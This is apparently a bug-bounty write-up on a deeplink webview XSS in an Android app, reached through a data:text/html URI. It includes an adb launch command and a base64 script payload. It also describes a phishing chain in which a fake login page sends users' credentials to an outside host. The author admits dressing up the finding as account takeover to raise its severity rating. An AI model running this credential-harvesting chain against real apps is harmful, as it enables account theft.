I was testing this app com.testapp.android which had a deeplink testapp://webview/?url=https://testapp.com. It allowed only certain URLs to be passed to the url= parameter. Most of the time I usually start with simple google.com or example.com just to see if the app has proper whitelisting or they are blocking based on some other filtering.

bash
adb shell am start -a android.intent.action.VIEW -d "testapp://webview/?url=https://google.com" com.testapp.android

Trying the command above failed, so it looked like there was some URL filtering. Just to throw things at the wall, I tried schemes other than https such as file:// and data:text/html. For the file:// URI the app just opened the default/Home view of the app. But the data:text/html scheme worked. The app placed all the content of the URI in the webview URL bar and showed the content as well.

text
data%3Atext%2Fhtml%3Bbase64%2CPHNjcmlwdD5hbGVydCgnV2lsbCB0cnkgdG8gbmF2aWdhdGUgdG8gZ29vZ2xlLmNvbScpOyBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgeyB3aW5kb3cubG9jYXRpb24gPSAnaHR0cHM6Ly9nb29nbGUuY29tJzsgc2V0VGltZW91dChmdW5jdGlvbigpIHthbGVydCgnQ3VycmVudCBVUkw6ICcgKyB3aW5kb3cubG9jYXRpb24pO30sIDEwMDApOyB9LCAxMDAwKTs8L3NjcmlwdD4%3D

This payload basically shows a popup saying Will try to navigate to google.com. This confirmed that our JavaScript was running inside the webview. Unfortunately the webview was pretty secure, it didn’t have any custom JS interface or file access, the only proven impact was XSS in the webview.

In order to make the impact look more severe, instead of submitting as “XSS in webview” I decided to call it “Two-click account takeover”. And to show that impact I did the following:

  • Hosted a webpage that looked exactly like their official app’s login page
  • Created a payload that opens the app and renders the login page in webview
  • When someone enters their credentials and clicks login, they would be redirected to https://myWebsite.com?username=&password=
  • On my website I had the following JS on the index page
html
<script>
  window.location.href = 'testapp://account';
</script>

This was a deeplink that I had found in the app, so it basically reopens the app on their account settings page. But during the redirect my server would have received their credentials.

Just to clarify, anyone can clearly see that this is just a simple XSS in webview and loads of bounty programs just randomly lower the severity of such reports. So this was just my attempt to make it look like something “Severe” was possible. Ended up with 6.3 medium so I am happy with it :)